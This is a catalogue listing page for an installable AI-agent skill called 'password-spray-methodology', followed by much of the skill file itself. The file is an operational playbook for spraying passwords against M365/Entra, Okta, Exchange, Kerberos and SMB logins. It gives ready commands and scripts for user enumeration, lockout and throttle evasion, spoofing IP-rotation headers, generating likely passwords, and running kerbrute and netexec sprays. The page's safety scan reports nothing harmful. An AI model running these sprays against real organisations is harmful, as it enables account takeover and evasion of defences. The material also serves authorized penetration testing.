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password-spray-methodology

End-to-end password spray playbook. User enumeration, lockout detection, password pattern generation, spray execution across all protocols, error code differentials, and engagement discipline.

Install / Use

npx skills add uphiago/recon-skills --skill password-spray-methodology

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

93/100

Supported Platforms

Universal

Tags

Our assessment of password-spray-methodology

password-spray-methodology scores 93/100 on our quality scale, 721st of 4,698 Development & Engineering skills we index (top 16%).

Its SKILL.md is 21 KB long, well organised into 61 sections with 11 code examples: a thorough specification that gives an agent plenty to work with.

With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
13/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 3 months ago, so password-spray-methodology is actively maintained.
  • Our last check on 2026-10-04 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-10-04. Automated pattern scan on 2026-10-04. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

password-spray-methodology compared with similar skills

All 4 of these similar skills score higher than password-spray-methodology; compare them before choosing.

SkillScoreStarsUpdatedFormat
password-spray-methodology (this skill)by uphiago931.3k3mo agoSKILL.md
taste-skillby Leonxlnx100116.8k8d agoCLAUDE.md
ai-job-searchby ai-job-search-dev10072.1ktodayCLAUDE.md
claude-howtoby luongnv8910047.3k2d agoCLAUDE.md
lobehubby lobehub10085.6ktodayMCP Server

Frequently asked questions

How do I install password-spray-methodology?
Run npx skills add uphiago/recon-skills --skill password-spray-methodology. The install tabs above show the steps for each supported agent.
Which AI agents does password-spray-methodology work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is password-spray-methodology safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is password-spray-methodology still maintained?
The repository was last updated about 3 months ago, so password-spray-methodology is actively maintained.

name: password-spray-methodology description: End-to-end password spray playbook. User enumeration, lockout detection, password pattern generation, spray execution across all protocols, error code differentials, and engagement discipline. Unifies M365/Entra, Okta, Exchange, Kerberos, SharePoint, XMLRPC, OIDC, and AD SMB/WinRM spraying into one methodology. version: 1.1.0 revision_date: 2026-07-25 license: MIT category: redteam tags: [password, spray, methodology, redteam]

Password Spray Methodology

Password spraying is the highest-ROI credential attack: one (or few) passwords tried against many users. It's quiet, avoids lockouts, and succeeds where traditional brute force fails. This skill consolidates every spray vector, enumeration technique, pattern, and protocol across the entire skill catalog.

This is a methodology skill. Protocol-specific details live in their respective skills — cross-reference them for deep dives. This skill covers the universal spray pipeline that applies everywhere.

When to Use

  • Starting ANY engagement with a user list but no credentials
  • Finding internet-facing login portals (OWA, Okta, ADFS, VPN, SSO, OIDC)
  • After hunt-ntlm-info reveals AD domain/UPN format — feed into spray
  • After hunt-ldap enumerates sAMAccountNames — feed into spray
  • After js-secrets-extraction finds email patterns — feed into spray
  • OneDrive 302/404 enum (from m365-entra-attack) confirms licensed users — spray them
  • Any leaked credential dump from client — validate against all services
  • Active-attacker detection via Smart Lockout differential

Universal Spray Pipeline (5 Phases)

Phase 1: ENUMERATE USERS    → valid user list
Phase 2: DETECT LOCKOUT      → max attempts/min, throttle rate
Phase 3: GENERATE PASSWORDS  → 5-20 high-probability candidates
Phase 4: EXECUTE SPRAY       → per-protocol, low-and-slow
Phase 5: INTERPRET RESULTS   → error code differential → finding or discard

Phase 1 — User Enumeration

The spray is only as good as the user list. Gather usernames BEFORE touching any auth endpoint.

Universal Enumeration Sources

| Source | Technique | Lockout Risk | Skill Reference | |--------|-----------|-------------|-----------------| | LinkedIn / company page | Scrape employee names → username-anarchy | Zero | — | | OneDrive personal site | GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx → 302=exists, 404=no | Zero | m365-entra-attack | | Kerberos pre-auth | kerbrute userenum --dc <DC> --domain <DOMAIN> users.txt | Zero (KDC_ERR_PREAUTH_REQUIRED does not count as auth failure) | — | | NTLM Type-2 decode | Extract AD domain, NetBIOS name, computer name from anonymous probe | Zero | hunt-ntlm-info | | Jira user picker | /rest/api/2/user/picker?query= — public on misconfigured instances | Zero | — | | Jenkins | /asynchPeople/ or /securityRealm/user/<name>/ | Zero | — | | ManageEngine ADManager Plus | Unauthenticated user listing on exposed instances | Zero | — | | WordPress REST API | /wp-json/wp/v2/users — dumps authors with usernames | Zero | hunt-wordpress | | GitLab | /api/v4/users — public on open instances | Zero | — | | O365 Autodiscover | HARDENED — returns identical 200 for all (2024+) | Zero but dead | m365-entra-attack | | GetUserRealm | HARDENED — returns same XML for any email in tenant | Zero but dead | m365-entra-attack |

Username Format Generation

After scraping names, generate all org-likely formats:

# From a list of real names (First Last, one per line)
./username-anarchy -i names.txt > usernames.txt

# Common formats for enterprise targets:
# firstname.lastname, f.lastname, firstnamelastname, flastname
# firstname_lastname, lastname.firstname, firstname
# Also try: email prefix from known addresses (jdoe@ → jdoe)

CeWL — Target-Specific Word Extraction

cewl -d 3 -m 6 --lowercase https://target.com -w target_words.txt
# Feeds both username generation AND password patterns

Phase 2 — Lockout Detection & Throttle Math

Four Rate-Limit States (from hunt-brute-force)

Before spraying, classify the target endpoint into one of four states:

| State | Signal | Spray Feasible? | |-------|--------|----------------| | Hard lockout | Account disabled after N fails; correct creds also fail | No (DoS finding instead) | | Soft IP throttle | 429 or increasing latency keyed on source IP | Yes — bypass via IP rotation | | CAPTCHA injection | 200 but body switches to CAPTCHA after N attempts | Maybe — check if API path skips it | | Silent shadow-throttle | 200/401 on every request but submissions are dropped silently | TRAP — inject known-good value at known position to detect |

Shadow-Throttle Detection (CRITICAL — the biggest false-negative)

# Inject a known-good credential at position 500
# If it stops working under load, shadow-throttle is active
# Your "no rate limit" conclusion was false
KNOWN_GOOD="user@target.com:CorrectP@ss"
for n in $(seq 0 600); do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -u "user${n}@target.com:WrongP@ss" -o /dev/null -w "%{http_code}" \
    "https://TARGET/auth-endpoint")
  echo "$n $code $(wc -c </tmp/bf_body)"
done
# Watch: status flips, time_total climbing, body size changing

Smart Lockout Math (Microsoft Entra ID — from m365-entra-attack)

  • Default: 10 failed sign-ins in 10 minutes → 1-minute lockout
  • Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)
  • Mathematical guarantee: with ≤1 attempt per user, you CANNOT cause Smart Lockout (1 < 10)
  • Any AADSTS50053 observed = PRE-EXISTING external attacker → SOC finding
HARD_CAP = 1  # per user per engagement LIFETIME — never higher

Okta Lockout

  • Default: 10 failed sign-ins (configurable, some orgs: 3)
  • Discipline: ≤2 attempts per user lifetime (safer than Entra's 1 because Okta lockout can be 3)

Exchange/OWA Rate Limit Test

for i in $(seq 1 5); do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \
    -X POST "https://$TARGET/owa/auth.owa" \
    -d "destination=https://$TARGET/owa/&username=testuser$i@domain.com&password=WrongPass123!")
  echo "Attempt $i: HTTP $code"
done
# All same code → no rate limiting on this endpoint

Concrete Throttle References

| Protocol | Safe Rate | Source | |----------|----------|--------| | M365 ROPC | ≤30 req/sec to login.microsoftonline.com (per IP) | Authorized engagement | | M365 Smart Lockout | ≤1 attempt per user LIFETIME per engagement | Mathematical guarantee | | Okta /authn | ≤2 attempts per user lifetime; slower than Entra (tuner-different anti-automation) | Authorized engagement | | Exchange OWA | Test 5 rapid attempts first; if uniform, spray slowly | exchange-owa-attack | | SharePoint SOAP | No rate limit observed on SP2013; still go slow | hunt-sharepoint | | Kerberos (Kerbrute) | No lockout risk from pre-auth probe; spray pace: 1 password per full user list per hour | Public research | | IP Rotation Bypass | X-Forwarded-For, X-Real-IP, X-Originating-IP, CF-Connecting-IP, True-Client-IP | hunt-brute-force | | NodeZero reference | 2 attempts per hour in production environments | Horizon3.ai (2022) |


Phase 3 — Password Pattern Generation

The Complexity Backfire (CRITICAL INSIGHT)

Password complexity policies (uppercase + lowercase + digit + special) produce MORE predictable passwords, not less. The human pattern is always the same: Uppercase first letter + lowercase word + digit at end + ! at end.

Observations from PACK analysis (Kacherginsky, 2013) across RockYou, LinkedIn, MySpace, Stratfor, Singles.org, FaithWriters, phpBB:

  1. : (no transformation) — 2-25% of all passwords are straight dictionary words
  2. $1 (append "1") — 0.5-5.5% of all passwords
  3. $1 $2 $3 — 0.1-0.6%
  4. $1 $2 — 0.08-0.5%
  5. Seasonal: Summer2024!, Winter2025!, Spring2026!
  6. Company: <Brand>@2026, <Brand>@123, <City>@2026
  7. Default rotation: Password@<year>, Welcome@<year>, Admin@<year>

Pattern Generation Recipe

# 1. Company-derived patterns
brand_variants = ["CompanyName", "Company", "COMPANY", "company"]
years = ["2026", "2025", "2024", "2023", "26", "25"]
specials = ["", "!", "@", "#", "1", "123", "123!"]
seasonal = ["Summer", "Winter", "Spring", "Autumn", "Fall"]
passwords = []
for brand in brand_variants:
    for year in years:
        for spec in specials:
            passwords.append(f"{brand}{year}{spec}")
            passwords.append(f"{brand}@{year}")
for season in seasonal:
    for year in years:
        passwords.append(f"{season}{year}!")
        passwords.append(f"{season}{year}")

# 2. Plant/office city names from company website
cities = ["SaoPaulo", "Rio", "BH", "Brasilia"]
for city in cities:
    for year in years:
        for spec in specials:
            passwords.append(f"{city}{year}{spec}")

# 3. Functional account defaults
functional = ["noreply", "purchase", "accounts", "postmaster",
              "transport", "admin", "helpdesk", "support", "info"]
for func in functional:
    passwords.append(f"{func}@123")
    passwords.append(f"{func}{year}")

Wordlist Strategy

| Stage | Wordlist | When | |-------|----------|------| | 1. Leaked creds | Client-provided dump, stealer logs | Always first — each is the strongest guess for that user | | 2. Company-specific | CeWL output + brand patterns (Phase 3 recipe) | Every engagement | | 3. Probable-Wordlists | Top 100 from berzerk0's frequency-sorted list | When company patterns fail | | 4. rockyou.txt top-N | Filter to 8+ chars matching target policy | Fallback | | AVOID | RockYou2024 | 98% garbage (hashes, truncated strings, unicode junk, Russian text) — zero practical value | | Custom mutations | Apply Hashcat rules to company-specific list | Deep engagement |

# Generate mutated list with common rules
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule target_words.txt | sort -u > mutated.txt

Phase 4 — Spray Execution Matrix

| Protocol | Endpoint | Spray Command | Rate Limit | Skill Ref | |----------|----------|---------------|------------|-----------| | M365 ROPC | login.microsoftonline.com/common/oauth2/token | Python attempt() with state file | ≤1/user/lifetime | m365-entra-attack | | Okta | <tenant>.okta.com/api/v1/authn | curl POST {"username":"...","password":"..."} | ≤2/user/lifetime | okta-attack | | Exchange OWA | /owa/auth.owa (POST), /ews/Exchange.asmx (Basic) | curl HTTP POST or Basic Auth | Test 5 rapid first | exchange-owa-attack | | Kerberos (AD) | KDC (TCP 88) | kerbrute passwordspray --dc <DC> -d <DOMAIN> users.txt '<password>' | No lockout from spray | — | | SMB / WinRM | TCP 445 / 5985 | netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt --continue-on-success | Per-service | — | | SharePoint SOAP | /_vti_bin/Authentication.asmx | POST SOAP Login envelope | No rate limit on SP2013 farms | hunt-sharepoint | | WordPress XMLRPC | /xmlrpc.php | system.multicall batches hundreds in 1 request | None observed | hunt-auth-bypass | | OIDC password grant | /oauth2/token (custom tenant) | grant_type=password with client_id | Depends on IdP | — | | Citrix NetScaler | /vpn/index.html, /cgi/login | POST form credentials | Per-instance | — | | F5 BIG-IP | /tmui/login.jsp | POST form credentials | Per-instance | — | | Atlassian | /rest/auth/1/session (Basic) | curl -u | No rate limit on many instances | — | | Jenkins | /jnlpJars/jenkins-cli.jar, /script | curl POST | Per-instance | — |

Kerbrute — Spray AD Without Lockout

# Enumerate first (zero lockout risk)
./kerbrute_linux_amd64 userenum \
  --dc 10.10.10.5 \
  --domain corp.local \
  username

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars1.3k
CategoryDevelopment
Updated2mo ago
Forks215

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions